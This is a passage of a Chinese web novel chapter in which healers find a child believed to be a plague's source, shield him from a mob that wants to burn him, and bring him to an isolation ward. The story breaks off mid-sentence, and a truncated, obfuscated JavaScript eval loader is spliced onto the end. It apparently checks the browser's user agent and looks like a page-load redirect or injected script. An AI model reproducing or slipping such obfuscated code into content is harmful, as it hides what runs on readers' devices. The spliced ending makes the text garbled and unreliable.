他说着,声音渐渐哽咽了。这都是孩子之间的小事,可在生离死别面前,无数件小事积累在一起,足以把一个铁石心肠的人压垮。在此之前,贺宇昭也见过不少人弥留时的情形了,虽然他尽力让自己开朗起来,其实压力已经大的快承受不住了。 他道:“我不知道怎么给他。他挺喜欢你的,要不然你……你骗骗他也行。” 步云邪把镯子接了过去,心情十分沉重。贺宇昭显得很是疲惫,道:“上午二师兄手下有人在账房闹事,不少人怕被传染上,非要分家。师父出面按下去了,但这样拖下去,人早晚要跑光了。” 他们现在面临的不光是瘟疫的压力,还有内部的动荡。平时大家还算和气,一旦有事就开始四分五裂。贺宇昭看着步云邪,有些不忍心,道:“不行你就走吧,你本来也不是这里的人,没必要卷进来。” 步云邪道:“你呢,不为自己着想么?” 贺宇昭摇了摇头,道:“我家里早就没人了,师父就像我的亲生父亲一样,我不能扔下他不管。如果我真的被传染了,死在这里就是了。” 步云邪有些不好受,道:“别这么说。” 贺宇昭苦笑了一声,一副把生死置之度外的模样。他端起碗又扒了一口饭,道:“不说了,多吃点,活都干不完呢,哪有功夫伤感!” 次日上午,步云邪忙完了前头病房的事,去了后面的重病区。小豆子躺在靠窗的一张床上,嘴唇干的都裂开了。 步云邪倒了点水喂他喝了。小豆子刚退了烧,睁开眼看着他,道:“哥哥,你来看我了。” 步云邪嗯了一声,道:“感觉怎么样?” 小豆子道:“浑身疼,呜……我想娘了,我什么时候能出去?” 步云邪道:“好好吃药,治好了病就能出去了。” 小豆子这些天已经听过很多次这样的答复了,有些失望。静了片刻,他道:“那我哥哥呢,他们说我哥在这里,能让我见他一面么?” 步云邪迟疑了一下,道:“他前天就治好了,已经出去了,他让我把这个给你。” 他从荷包里拿出了那个小巧的银镯子,道:“你认得吗?” 镯子上刻着葫芦和祥云的纹样,小豆子的眼睛顿时亮了起来,接过去道:“啊……是哥哥的镯子,你真的见过他!” 步云邪道:“他让你好好治病,等病好了就能出去了。” 小豆子攥着银镯子,对他的话坚信不疑。步云邪心里很难过,但除了这样之外也没有别的办法。小豆子从床上坐了起来,对旁边病床上的老头儿道:“糖人儿爷爷,我哥哥已经好起来了,我也会很快好起来的。我的扑满里攒了好多铜板,等咱们都出去了,我再去你那里买糖!” 旁边的老头儿姓张,六十出头年纪,本来弓着背躺在床上,听了小豆子的话,缓缓地回过头来。 方才他们的话,他都听见了。这里每天的病人来来去去的,怎么回事他心里都清楚,也不忍心点破。小豆子认真道:“好不好,爷爷。” 老张头儿点了点头,道:“好。” 他的声音沙哑,却好像不敢看人似的,很快又蜷缩起来。小豆子把手镯戴在了手上,像是有了个念想,铆足了力气要战胜病魔。步云邪温声道:“睡一会儿吧。” 他给小豆子盖上了被子,转身去帮其他医者点苍术,顺便给自己熏一熏衣裳。他把一个药桶放在走廊上,点起了火,苍术的烟升了起来,渐渐飘满了整个院子。对面病房传来咳嗽的声音,步云邪已经有些麻木了,不知道自己的坚持有没有结果,但他实在不希望小豆子这一家的悲剧再发生了。 这时候就听身后传来迟缓的脚步声,一个苍老的声音道:“小郎中,我有点事想问你。” 步云邪回过头,见那个卖糖人的老张头从病房里出来了。他扶着墙,身体干瘦虚弱,面色焦黄,一双眼睛却灼灼地看着他。贺宇昭从对面病房出来,见他们站在走廊上,快步走过来道:“老人家,回屋待着吧,外头风大。” 老张头儿道:“我就在外头坐一会儿,屋里太闷了。” 那两人互相看了一眼,贺宇昭被他骂过,一见他就发憷。这老头儿就是第一个发病的人,大家都有些怕他,他的脾气也不怎么好,今天不知怎的居然主动跟人说话了。 他缓缓地在走廊的扶手上坐下了,道:“那小孩儿已经死了吧?” 前几天小豆子的哥哥还跟老张头住在同一个病房里,后来一天半夜,那小孩儿烧的浑身抽搐,吐血不止,李慈心亲自来也没能救活。方才他见步云邪把镯子给了小豆子,心里十分难受。他作为头一个感染者,这么长时间以来,心里一直背着沉重的负担。有时候觉得死了这么多人,都是自己的错。一会儿又觉得瘟疫是天灾,自己也是受害者,没必要自责。 可即便如此,他成日看着外头焚烧尸体冒出的滚滚浓烟,心里难免痛苦。那么多不认识的人都死了,负罪感像山一样压在他身上,无时无刻不在折磨着他。而小豆子哥哥的去世,成为了压垮他的最后一根稻草。 贺宇昭低声道:“那孩子已经葬下了。” 病人们都在屋里,有人痛的呻吟,有的咳嗽,有的像老风箱一样费劲地喘着气。老头儿低声道:“你们是不是没有法子治这个病?” 两人都被问住了,没人能回答得了他。老张头儿叹了口气,道:“也是……如果有法子,你们也不会看着这么多人死掉。” “我们一直在想办法,”步云邪恳切道,“如果能找到瘟疫的源头,说不定就能研究出药方来。” “什么源头,”老张头儿垂着眼道,“你们是说第一个感染的病人么?” 步云邪感觉他好像知道点什么,道:“是,您就是第一个么?” “我不是,”老头儿抬起了头,仿佛下了极大的决心道,“在我之前,还有另外一个人,他才是源头。” 他此言一出,步云邪和贺宇昭都十分诧异。这老头儿嘴硬得很,从官府找到他起,到现在他一直说自己就是头一个。但李慈心观察了他好一阵子,发现此人并没有什么特别之处。他早就怀疑此人不是零号病人,但这老头儿一直把这件事揽在身上,让医生们很难办。 李慈心让官府调查过,这老头儿一辈子没成家,没有妻子和孩子,就靠一个糖人摊子谋生。所以他应该也没有什么要庇护的人,没必要撒谎,事情就此陷入了僵局。 他人已经在这里了,外头被感染的人却越来越多。李慈心忙的焦头烂额,也就没空顾得上他。这老张头一开始被关在单独的一间院子里,后来他的病症减轻了,也没什么传染性,李慈心便把他转到了一般重症的病房里。 老张头看着身边的人生命一点点耗尽,大人没了,就连小孩儿也不能幸免。他心里倍受折磨,终于撑不下去了。 他抬起枯瘦的手捂着脸,老泪纵横道:“都是我不好……我没有早说出来,对不起。” 现在说这些都没用了,最重要的是找到最初的感染者。步云邪急切道:“那个人在哪里?” 老张头擦去了脸上的泪水,道:“一个月前夷州发了大水,我从北边回来,见一个孩子在路边哭。他爹娘浑身都是红斑,已经病死了。我看那孩子可怜,自己也无儿无女的,就把他带了回来。在我来长阳郡之前,瘟疫一直没传过来。后来我每天带着孩子出去摆摊卖糖画,那一阵子城里陆陆续续有人生病,不少人说是跟我接触过才开始咳嗽的。那几天我也在发烧,跑不了了。官府连夜来抓我,我怕他们伤害那孩子,就让他从狗洞钻出去逃走了。” 他十分懊悔,道:“我本来是想保护那孩子,可没想到会伤害这么多人。跟他接触过的人都生病了,可他却一直好好的……实在怪得很。” 步云邪和贺宇昭简直不敢相信,他居然隐瞒了这么重要的线索。步云邪道:“他在什么地方,多大年龄?” 老张头道:“他叫孙小竹,是个小男孩儿,今年八岁,长这么高——” 他伸手比划了一下,道:“他什么也不知道,你们要是找到了他,千万别伤害他。” 步云邪道:“他会去什么地方?” 老张头道:“他不是本地人,城又封了,没地方可去,八成是等着官兵走了就又回去了。如果他不在我家,你们在附近问问,总能找到他的。” 老张头说出了隐藏许久的秘密,松了口气。他扶着廊柱站起来,道:“你们都是好人,有上天保佑,肯定能救大家的。” 步云邪跟贺宇昭目送着他缓缓地进屋去了。贺宇昭的神色严峻,道:“一定得找到那个孩子。” 好不容易抓到点线索,步云邪生怕长翅膀飞了,道:“人多了就把他吓跑了,得悄悄地办。” 贺宇昭忙着药庐里的事,分身乏术。他道:“好兄弟,能不能劳烦你去看看,我给你出入的牌子。” 步云邪来了这么久,一直没出去过,借这个机会也能放放风。他道:“行,我下午就去。” 众人待在高升客栈里,每天都不敢出门,闷得不行。伏顺接连吃了几天药,好一些了。赵大海道:“幸亏你病的轻,要是烧不退,就只能把你送到城南药庐里去了。” 伏顺道:“能去也不错啊,二师兄不是在那里帮忙么。啊……好久不见了,真想他啊。” 赵大海有点担心,道:“那里都是病人,他没被传染上吧?” 伏顺刚退了烧,病恹恹地道:“你别看他生的俊,体格好着呢。祭祀的时候他舞的镰刀跟关公用的差不多沉,体力比一般人强多了,瘟神也绕着他走呢。” 他这么一说,赵大海便放下心来了。他倒了药渣,去隔壁敲门道:“大师兄,去吃饭么?” 段星河刚吃完,正在屋里收拾东西,道:“你自己去吧。” 赵大海见他床上放着两个包袱,一个装着日常用的东西,另一个装着步云邪平时穿的衣裳。他道:“你拿二师兄的衣服干什么?” 段星河嗖地给包袱打了个结,道:“好几天没见他了,我去给他送点东西。” 送东西其实都是次要的,主要是想见见人。赵大海道:“我也去。” 段星河道:“你留下照顾伏顺吧,他不是还没好么?” 赵大海喔了一声,亦步亦趋地跟着他,操心地说:“那你让他保重身体啊,千万别被传染了!” 段星河把两个包袱背在肩上,手里提着一包从客栈买的枣花酥,道:“知道了。” 他下了楼,打算往城南去。大街上空荡荡的,一个穿着白色衣裳的人朝这边走了过来。那人头上戴着个竹斗笠遮阳,马尾从头顶露出来,暗红色的发带在风里轻轻飘荡。 段星河睁大了眼,没想到自己还没去看他,步云邪居然自己回来了。他快步迎了上去,道:“阿云!” 步云邪也没想到正好遇上了他,顿时露出了笑容,两人用力拥抱了一下。步云邪见他大包小包的,道:“你这是干嘛?” “我正要去看你呢,”段星河激动道,“你走了都十三天了,瓜皮很担心你啊!” 步云邪笑了,道:“它又不会说话,你怎么知道它担心我?” 段星河道:“它都不怎么吃饭了,一天到晚找你。有点动静就竖着耳朵听,不是担心你是什么。” 这人就是嘴硬,非得赖在崽子身上。步云邪扬起嘴角,道:“那是它让你来找我的?” 段星河道:“那倒也不是。就是……我也挺想你的。” 他们看着彼此,小半个月没见,两个人都瘦了一大圈,还好都没生病。段星河说实话道:“我怕你被传染,好几天没睡着觉了。” 步云邪道:“我没事,这不好好的么。” 两人一起往回走,段星河道:“你偷跑出来的,不回去了?” 步云邪啧了一声,道:“你是不是盼着我让人开了?” 段星河哈哈一笑,道:“没有,这不是想跟你多待一会儿吗。” 回到客栈,段星河放下了包袱,步云邪也进了屋。墨墨本来窝在屋角打瞌睡,忽然鼻子动了动,闻见了步云邪的气味。它睁开了眼,步云邪笑吟吟地看着它,张开双臂道:“我回来了。” “叽啾——!” 墨墨激动地飞过去,一头扎进了他怀里,发出了咕噜咕噜的声音。步云邪抱着儿子,长舒了一口气道:“想我了是吧,我也想你了。” 他抱着墨墨在桌边坐下了,轻轻地摸着它的背,充满了治愈感。现在疫情这么严重,进了隔离点的人都很难出来了。段星河倒了杯水给他,道:“说真的,你怎么能出来的?” 步云邪捻着茶杯道:“有差事要办,需要你帮忙。” 段星河道:“什么事?” 步云邪凑过来,低低地在他耳边说了几句。段星河睁大了眼,道:“传染源还在外头?难怪这么久了,一直还有人被传染。” 步云邪嗯了一声,道:“糖人张说他家在城东豆腐店旁边,我等会儿去找那孩子,你来不来?” 这是大事,义不容辞。段星河道:“我当然去。再叫上大海吧,人多好办事。” 步云邪道:“好,我先歇一会儿,等天黑了咱 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正面就一间屋,左右各一个侧房。段星河推门进去了,见屋里干干净净的。他把宅子里犄角旮旯都找了一遍,没发现有人的踪迹。 出来的时候,他留意到院墙根有个狗洞,地上有点泥巴。他弯下腰来看了片刻,注意到地上有几个小孩的脚印,还有爬行过的痕迹,心里了然了。 他一跃翻过墙头,步云邪道:“怎么样?” 段星河道:“里头有生活的痕迹,没从大门进出。糖人张被带走之后,那孩子应该又回来了。” 他一指墙角的洞,道:“喏,那里。” 那孩子才七八岁,一个人孤苦伶仃的,除了这里也无处可去。他们几个人站在这里商量,附近有大婶买了豆腐经过,挽着一篮子菜,停下来道:“喂,你们几个小后生不要命啦!那间房子瘟神住过,病就是从这里传出去的,你们还敢聚在这里!” 赵大海喔了一声,道:“多谢大娘,我们就是路过,这就走。” 大婶怀疑地看着他们,大有他们不离开,她就不走的架势。对面的居民听见了声音,把大门推开一道缝,警惕地看着这边。瘟疫传播的所有人都草木皆兵的,步云邪有点无可奈何,道:“算了,咱们先在附近转转,等会儿再来。” 天还没黑透,三个人离开了张宅。经过豆腐店,老板娘脸上蒙着白布,拿着艾叶正准备熏屋子。段星河想起了灶台上的豆腐渣,道:“这位大姐,请问你们见过糖人张家的那个孩子么?” 老板娘的眼神有点慌,道:“现在瘟疫这么厉害,大人都在屋里不出来,哪有什么孩子。” 她说着搬起一块木板把门面挡住了,道:“打烊了,买豆腐明天再来。” 几人见问不出什么来,便往前走去了。三个人在一间小饭馆吃了碗素面,出来的时候,天已经黑了。 街上已经没人了,百姓家里的灯火都熄灭了。三人借着月色来到了张宅外,段星河和步云邪翻过了墙,赵大海的身体笨重一些,找到一块大石头踩着爬了过来。 三个人在屋后猫着,打算守株待兔。赵大海蹲的脚发麻,道:“什么时候来啊,该不会不回来了吧?” 步云邪道:“你小点声。” 赵大海百无聊赖地坐在了地上,小声道:“你们说那小孩儿是何方神圣,怎么有那么大能耐传染那么多人?别人都死了,他还活着,他该不会真的是瘟神本尊吧?” “管他呢,”段星河道,“天塌下来有医生顶着,先把人带回去再说。” 有时候想得太多了,行动力反而就弱了。步云邪发现自己是挺欣赏他这股快刀斩乱麻的劲儿,不管三七二十一,先干了再说。 三个人在屋后等了半个多时辰,都有点困了。这时候就见院墙下的那个狗洞跟前,半堵着的石头拱了一下,发出窸窸窣窣的声音。段星河登时精神了,胳膊肘悄悄一碰步云邪。步云邪也看见了,一个八岁左右的小男孩儿推开了石头,从狗洞里钻了进来。 他还挺警惕,进了院子四下张望了一圈,感觉没人这才松了口气。 他从怀里掏出一块饼,边吃边往厨房里走,一只手拿起瓢,舀了些凉水灌下去。段星河低声道:“上!” 三个人一拥而上,把他堵在了厨房里。小孩儿吓了一跳,手里的饼掉在了地上,道:“别抓我、别抓我!” 小孩儿后背贴在墙上,十分害怕。他穿着一身破衣裳,脸上也沾着些灰尘,头发乱糟糟的,活像个小乞丐。 段星河往前走了一步,高大的阴影笼罩在他身上,道:“你怎么知道我们要抓你?” 小孩儿慌张道:“爷爷被官兵抓走了,他们都说瘟疫是从这里传出去的,你们……不是来抓我的吗?” 段星河无情道:“你猜的没错,我们是来抓你的。” 那小孩儿沉默下来,忽然一矮身从他身边窜了过去。众人连忙追了上去,在院墙边把他逮住了。 段星河提小鸡仔似的提着他的后脖领,道:“还跑。” 小孩儿嘴一咧,有点想哭。步云邪道:“别吓唬他了。” 段星河便把他放开了,三个人把他围在中间,生怕他再逃了。赵大海把面罩往上拉了一下,想把自己捂严实一点。他们面对这个小瘟神其实都有点害怕,但也只能赌一把了。步云邪温声道:“你叫孙小竹是吧?别怕,我们是医生,是你爷爷让我们来找你的。” 小孩儿眨了眨眼,半信半疑的。步云邪观察着他的情况,没有发烧,各方面也很正常。但若是被表象欺骗掉以轻心,那就万劫不复了。他跟李慈心讨论过案例,过去的大疫中有些人身上带着病,却不会发作。零号病人对于治疗瘟疫更是极其关键,不管怎么样,都得把他带回去。 现在外头风声这么紧,他一个小孩子,能独自活这么久也是奇迹了。段星河道:“你这段时间都在什么地方,怎么过的?” 孙小竹揪着衣角道:“爷爷说有好多人要抓我,我很害怕。我白天一直在家里藏着,饿极了才出去找点吃的。路过的人有时候给我些窝头煎饼,前头的阿姨有时候还会给我没卖完的豆腐。” 众人互相看了一眼,都有些同情。这孩子也受了不少苦,甚至不明白为什么会这样。那豆腐店的老板娘不知道他身上带着瘟疫,只觉得这孩子没人照看,十分可怜,便悄悄地塞给他些东西吃。难怪刚才他们问起来,老板娘那么紧张。 孙小竹抬头望着他们,道:“爷爷他还好吗?” 步云邪道:“他也病了,很需要药。可我们现在找不出药,只有你能帮我们。跟我们来好不好?” 孙小竹摇了摇头,低声道:“他们说我是瘟神……我靠近哪里,哪里就会有人得病。我要是去了,会连累你们的。” 他虽然年纪小,却也明白了自己的不同寻常之处。他从来没想过害人,心地也很善良,已经尽力不跟别人接触了。众人心里都很不好受,步云邪道:“跟我回去,我们会把你治好的,也能治好更多人。” 他的神色坚定,向那孩子伸出了手。孙小竹迟疑了良久,觉得他们不是坏人。虽然有些发抖,终于还是把手交给了他。步云邪心中一轻,露出了笑容,道:“走,我带你去见爷爷。” 段星河先翻墙出去了,孙小竹从洞里钻出去,另外两个人也翻墙出来了。 这时忽听吱呀一声响,一个人影推开了隔壁的门,急匆匆地回家去了。几个人互相看了一眼,赵大海道:“不是吧,刚才有人偷听?” 那家人住得近,早就觉察到小孩儿每天晚上会回来,但那孩子没生病,邻居也不好说什么,只由他自生自灭。但他家媳妇不放心,方才听见动静又出来看,听见几个人在院子里说了一阵子话,便接了那小孩儿出来。 她一头钻回家里去,低声道:“不好了,当家的,那几个人是城南药庐的。他们说瘟疫是从那小孩儿身上传出去的,你说怎么办……” 白天那些人就探头探脑的,对这边的事很感兴趣。段星河道:“不管了,人找到了,赶紧回去就是了。” 他们带着孙小竹往回走去,从这边到城南要走小半个时辰。段星河有点后悔没骑马来,不过反正晚上没什么人,慢慢走就是了。 走过了两条街,忽然听见身后传来一阵凌乱的脚步声,灯笼的光汇聚起来,把半夜照的白天似的亮。有人大声道:“在那边,找到了!” 也有人喊道:“站住,不准走!” 段星河等人回过头,却见几十个壮年男子提着灯笼,拿着棍棒和铁锨追了过来,呼啦一下子把他们围了起来。 这些人都是城里的百姓,不知怎的就聚在了一起,一副来势汹汹的模样。有人大声道:“就是那小孩,他爷爷传染了好多人,他也不是什么好东西!” 孙小竹害怕地退了一步,步云邪把他护在了身后。段星河皱起了眉头,道:“你们干什么?” 带头的是个强壮的中年汉子,他手里提着一根木杖,粗声粗气道:“把这小孩儿交出来!就是他传染了一个城的人,我们要烧死他!” 46.瘟疫 三 街上有人举着火把,有人提着灯笼,几十个愤怒的人把他们围在了中间。 临街的百姓听见了声音,纷纷打开窗户,朝这边看了过来。 带头的那个中年汉子往前走了一步,道:“把那小孩儿交出来,大家就放你们一马。” 段星河把几人护在了身后,道:“你们没资格处置他。现在很多事情还不确定,得带到药庐里检查之后才能下结论。” 对面一人大声道:“宁可错杀也不能放过,他可怜,我的孩子不可怜么!我的幺儿才三岁,半个月前病死了,他做错了什么!” 百姓中不少人的家人不幸得了瘟疫死了,正在最悲痛的时候。方才听人说找到了瘟疫传播的源头,众人便聚集起来,一定要烧死那个瘟神泄愤。 夷州的民风本来就彪悍,一群人闹哄哄的,大声喊道:“烧死他!烧死他!烧死他!” 火光随着他们愤怒的声音不住涌动,有人从屋子里出来,加入了他们。孙小竹怕的要哭了,赵大海也顾不上会被传染了,把他紧紧地护在了怀里。有人捡起石头朝他们砸了过来,段星河把步云邪挡在了身后,被逼的连连后退。 他肩膀上被石头砸了好几下,皱起了眉头。原则上不能对百姓动手,但这样下去他们不但走不了,还会被愤怒的人群撕碎。 双方在街上僵持着,带头的人面目狰狞,吼道:“我说最后一遍,把那小孩儿给我!” 赵大海抱着孙小竹,脑袋被石头砸的流血了也不撒手。孙小竹的脸都哭花了,浑身发抖道:“对不起,对不起,我又害人了……” 赵大海道:“不是你的错,不怪你,别害怕。” 那人见他们不肯把这孩子交出去,发起怒来,道:“把他抢过来!” 一群人一拥而上,段星河使出擒拿的功夫放倒了两个,混乱中伸脚又绊倒了一个。那人摔在地上,愤然道:“你们还敢打人!” 段星河一脸平静,道:“这算什么打人,不是你自己不看路摔倒了么?” 一人抡着铁锨朝步云邪头顶砸过去,步云邪一闪躲开了。他身法如清风一般,掠到那人身后轻轻一推,那人就一个狗吃屎跌到了旁边的水沟里去。这些人虽然脾气大,却没练过功夫,不难对付。可一旦动起手来,情势就不好控制了。 他们本来是要救人的,不想跟城里的百姓对立。可对面吵吵嚷嚷的,根本不听他们说什么。瘟疫发展到现在毫无平息的势头,每个人都充满了恐惧和愤怒,又无处发泄。一旦找到爆点,就遏制不住要炸。几个人冲到赵大海身后,抡起木棍把他打了一个踉跄。孙小竹从他怀里滚出来,脸上擦破了皮,缩成一团不住发抖。 一人伸手要抓他,忽然想起这小孩儿邪性得很,不敢过去了。他回头对另外一人道:“你去!” 那人也不想冒险,道:“凭什么让我上,那谁……你去。” 周围的人都往后退去,他们虽然把孙小竹围住了,却没有一个人敢碰他。段星河跟步云邪被其他人缠住了,隔着黑压压的人群过不来。步云邪回头看了一眼,喊道:“保护那个孩子啊!” 赵大海被几个人按在地上,本来动弹不得。此时脸憋得通红,怒吼了一声,把身上的人都挣开了。他冲过去抱住了孙小竹,道:“别怕,我保护你!” 人们既想杀了那孩子,又怕被传染,一时间没人敢动。带头的那人不知从哪里扯了个麻袋过来,道:“把他的头蒙住,拖去烧了!” 这孩子要是死了,治病的法子就再难找到了。步云邪急道:“不行!” 段星河一拳把面前的人打倒,转身冲了过去,吼道:“我看谁敢动他!” 这时候就见前头街上一群人提着灯笼朝这边奔了过来。百姓们回头望去,顿时慌了,纷纷道:“官兵来了,谁报的官?” 这边闹得这么厉害,根本不用人去报官。街上有巡逻的官兵,发现这边不对劲,很快就调集人过来了。 官兵头领挎着刀过来,大声道:“怎么回事,在街上聚众闹事?” 带头的汉子道:“不是闹事!瘟疫是从这小孩儿身上传出去的,不能放他走,烧死他!” 百姓们纷纷喊道:“烧死他!烧死他!烧死他!” 官兵的神色严峻起来,见赵大海和段星河拼命护着个脏兮兮的小孩儿,知道事情不好处理了。步云邪出示了慈心药庐的令牌,道:“我们是城南药庐的人,这孩子是治疗瘟疫的关键,不能杀。我们要把他带回药庐研究,还请官爷理解。” 百姓们仍然吵吵嚷嚷的,不肯放人。官兵头领见情势焦灼,只能先把他们分开再说。他道:“把这小孩儿带到府衙去,要怎么办由太守决定。你们几个带头闹事的,也跟我一起来吧。” 百姓中几个带头的和段星河等人被带到了府衙。太守张巍白天忙活了一天,大半夜又被叫起来,两个眼圈都是黑的。他升了堂,坐在上首道:“怎么回事?” 官兵头领道:“回禀大人,这两拨人在街上闹事,说要烧死这个孩子。” 那带头的人道:“这小孩儿是瘟疫的源头,必须烧死他,要不然这一城的人都活不成!” 步云邪道:“不能杀,我们得研究他的病例,才能找出根除瘟疫的法子。” 太守明白是怎么回事了,他看着下头的人,一时间沉吟不语。府衙外有不少跟来的百姓,大声道:“别听他们的,烧死这个瘟神!烧死他!” 喊的人越来越多,太守皱起了眉头,道:“肃静!” 衙役们敲起了板子,纷纷道:“威——武——” 百姓们仍然嚷嚷个不停,生怕瘟疫再传播下去。太守心里知道这个小孩儿十分关键,不能意气用事,但面对这么大的压力,他一时间无法决定。 有人喊道:“杀了这个小孩儿,他是恶魔!” 那带头的人也道:“还犹豫什么,留着他还会有更多人被传染,你、我、咱们大家谁都别想活!” 他的话极具煽动性,让其他人更加激动了。段星河握紧了拳头,强忍着怒气道:“杀了他瘟疫也未必会停止,但传染上的人就真的活不成了。把他交给医生,算我求你们了!” 带头的那人道:“你们不是外乡人么,我们为什么要相信你们?你们又有多大的本事,怎么能保证治好所有人!” 段星河说不出话来,他不是真正的郎中,确实没办法保证。外面的人放声起哄,道:“就是,我们凭什么相信你!” 赵大海护着孙小竹,回头一望,府衙外人头攒动,赶也赶不走。若是用强,说不定还会激起民愤,难怪太守老爷迟迟没有发话。他不知道该怎么解决这个困境,只觉得孙小竹的脸蛋冰凉,显然是怕得要命。此时就见步云邪上前一步,从腰包里掏出一块巴掌大的铜牌,高高地举了起来。 “我以此物担保——” 牌子上赫然刻着夷州王赐三等功勋,背面写着段星河的名字。这是先前他们低价卖粮食给官府时,夷州王给他们的奖赏。拥有此牌者便是夷州王欢迎的客人,可以在境内任意城镇买房、生活,与本地人无异,甚至会得到更高的礼遇。 段星河没想到他下午回客栈歇了一会儿,便把这牌子带出来了。自己本来还觉得这玩意没什么用,没想到关键时刻拿出来居然能镇得住场子。张太守的神色严肃起来,见此物如见夷州王,对这块令牌十分敬重。 府衙内安静下来,有人低声道:“那是什么?” 另一人道:“好像是夷州王的令牌……他有咱们大王的认可。” 夷州的人大多属于祈族,夷州王既是政治首领,也是他们一族的族长。这些人虽然不怎么把官府放在眼里,却对夷州王敬若神明。步云邪扬声道:“我以此物为凭,要求留这孩子一命。我要带他回城南药庐,研究治病的方法。” 那人不耐烦道:“城里那么多人都感染了,我们没工夫等你慢慢研究。我说,你该不会是想把我们都活活拖死吧?” 外头的百姓又骚动起来,充满了怀疑。步云邪实在没有别的法子能争取到时间了,把心一横,断然道:“一个月内研究不出来,我步云邪——以死谢罪!” 段星河扭过头,诧异地看着他,觉得他实在没必要做到这个地步。 他此言一出,周围的人也都安静下来。一个外乡人,为了救他们甘愿发下誓言,实在不该再被质疑了。张太守开口道:“既然步公子立下了军令状,那就按你说的办吧。来人,弄一顶专门的轿子,把这个孩子送到城南药庐,交给那边的医者。” 几名官兵答应了,去备了轿子,护送着孙小竹出了府衙。其他人看着轿子从身边经过,都怕的要命,稀里哗啦往后退开老远。带头的那人还不甘心,盯了步云邪一眼,恶狠狠地道:“一个月内治不好大家,我带整个城的人来看你脑袋落地!” 步云邪神色淡淡的,道:“要是治好了呢?” 那人道:“治好了我给你磕头!” 步云邪冷冷道:“好,那就一言为定。你叫?” 那人粗声道:“我叫刘炎,是前头街上杀猪的。你小子姓步是吧,我记着你了。” 那人说着一挥手,带着府衙外的人走了。张太守也起身道:“退堂吧。” 赵大海窝着一股火,道:“杀猪的有什么了不起,这么横?” 段星河走了过来,道:“什么地方都有这种地痞头子,别管他了。” 三个人出了府衙,街上的人都散去了,夜风吹在身上有些凉。赵大海还有些心有余悸,道:“吓死我了,那么多人喊打喊杀的,那孩子也吓得不轻,一个劲儿地打哆嗦。幸亏二师兄带了令牌出来,聪明人就是想得周全。” 步云邪一直沉默着,段星河想起刚才的情形,觉得他们咄咄逼人的,有些心疼。他道:“跟他们打包票干什么,一个月时间够么?” 步云邪没什么表情,良久抬眼看着夜晚空荡荡的城,道:“一个月已经很久了,久到很多人都活不到那个时候。” 段星河和赵大海都沉默下来,街上回荡着寂寥的风声。月光照下来,步云邪的脸庞显得格外苍白,轻声道:“如果到时候还治不好,我早晚会被传染,这里也会变成一座死城,打不打包票又有什么关系呢。” 他虽然这么说,神色里却带着难过。段星河轻轻拍他的肩膀,道:“别这么想,咱们不是把孙小竹找到了么。李先生的医术高明,肯定能找到治病的法子的。” 步云邪深吸了一口气,让自己振作起来,道:“你说得对,好不容易把他找到了,无论如何也不能放弃。” 赵大海挠了挠头,从刚才起就想说了,道:“我一直抱着那孩子……你们说我会不会被传染啊?” 段星河扬眉道:“怕死你还来?” 赵大海道:“你们来了,我当然得来,好兄弟讲义气嘛!” 步云邪道:“咱们三个跟病人密切接触了,都得进隔离点。去了熏熏衣裳,熬点预防的汤药喝,观察几天。” 段星河倒没有不高兴,反而道:“那我能天天见你了?” 步云邪嗯了一声,段星河笑了,仿佛觉得这样也不错。步云邪道:“这有什么好的?” 段星河含笑道:“说好了有福同享有难同当嘛,走吧。” 三人回到慈心药庐时,已经到了后半夜。官兵先一步把孙小竹送过来了,轿子停在前院,弟子们听说找到了零号病人,都如临大敌。所有人都全副武装起来,给轿子和轿夫消了毒,又给孙小竹浑身上下喷了一遍药水,这才把他送进了隔离病房。 这边是单独的一个小院,之前大家以为糖人张是传染源时便让他住在这里。后来他转出去了,这里就一直空着。屋里都收拾干净了,有人给他送了点吃的。孙小竹待在房里,感觉整整齐齐的,被子也软软的,比在自己家里舒服多了。 他想着方才的遭遇,步云邪他们冒着被全城敌对的危险也要保护自己,身上都被石头砸伤了。孙小竹心里一酸,很想报答他们。他们要自己待在这里,他就好好待着,这便是自己能为他们做的事了。 隔离了孙小竹,大家都松了一口气,不管怎么样终于有一丝希望了。贺宇昭不想耽误师父休息,天明时分才去通报了此事。李慈心的眼睛都睁大了,穿上外袍道:“怎么不早叫我!” 贺宇昭道:“我们已经把他安置好了,师父白天劳累,我们想让您多歇息一会儿。” 李慈心简单收拾了一下,戴上了面罩,快步走了出去,道:“跟我去看看。” 别人都不敢靠近那个孩子,既然是步云邪把他找回来的,还是由他照料。孙小竹已经洗了澡,换了一身干净衣裳,老老实实地待在屋里。李慈心来的路上,已经听人说了步云邪他们是费了多大的劲儿才把这个孩子找回来的,对他们十分感激。他进屋看了孙小竹,检查了他的状况,温声道:“好孩子,你住在这里,爷爷一定把你的病治好。” 孙小竹点了点头,李慈心从屋里出来,站在走廊上道:“从今天起,我在这院子里住。你们把饭送到院门口就行了,外头的事宇昭来负责。” 贺宇昭的心猛地一跳,意识到师父是要独自研究病例,这么做无异于牺牲自己。他道:“师父,这里太危险了,您年纪大了,要不然我来吧。” 李慈心摇了摇头,道:“你们年轻,我老了,能救人是最大的价值了。” 他说着转过头去,低低地咳嗽了几声,道:“我已经被传染了,病重是早晚的事,跟这孩子在一起也没什么。你们不一样,你们还有希望。” 贺宇昭十分难过,不知道该怎么办才好。李慈心的目光温和,道:“这段时间里,我已经拟了几个方子,有零号病人在,肯定能找到最好的药方。” 步云邪出声道:“我为先生做副手吧。” 李慈心上了年纪,确实需要人帮忙。步云邪已经跟孙小竹密切接触了一天,放出去也得隔离。李慈心没有推辞,道:“那就多谢你了。” 段星河和赵大海被隔离了三天,所幸没什么异状,被放了出来。两人好不容易混进来了,也没打算出去,就在前头领了个做杂事的活儿,帮他们搬一搬药草,维持秩序。 段星河以为留在这里能经常见到步云邪,结果他被关在了单独的一间院子里,除了送饭的时候,其他时候都见不到他。 段星河忙完了下午的活儿,去小厨房拿了食盒。这里的饭菜是专门为李慈心他们准备的,段星河提了过去,敲了敲门板。 门上有个小窗户,从里头吱呀一声打开了,步云邪跟他对视了一眼。段星河把食盒递过去,两个人都戴着面罩,只能看见彼此的眼睛。虽然短暂,但每天能见这片刻就已经很宝贵了。 步云邪的神色有些疲惫,这段时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 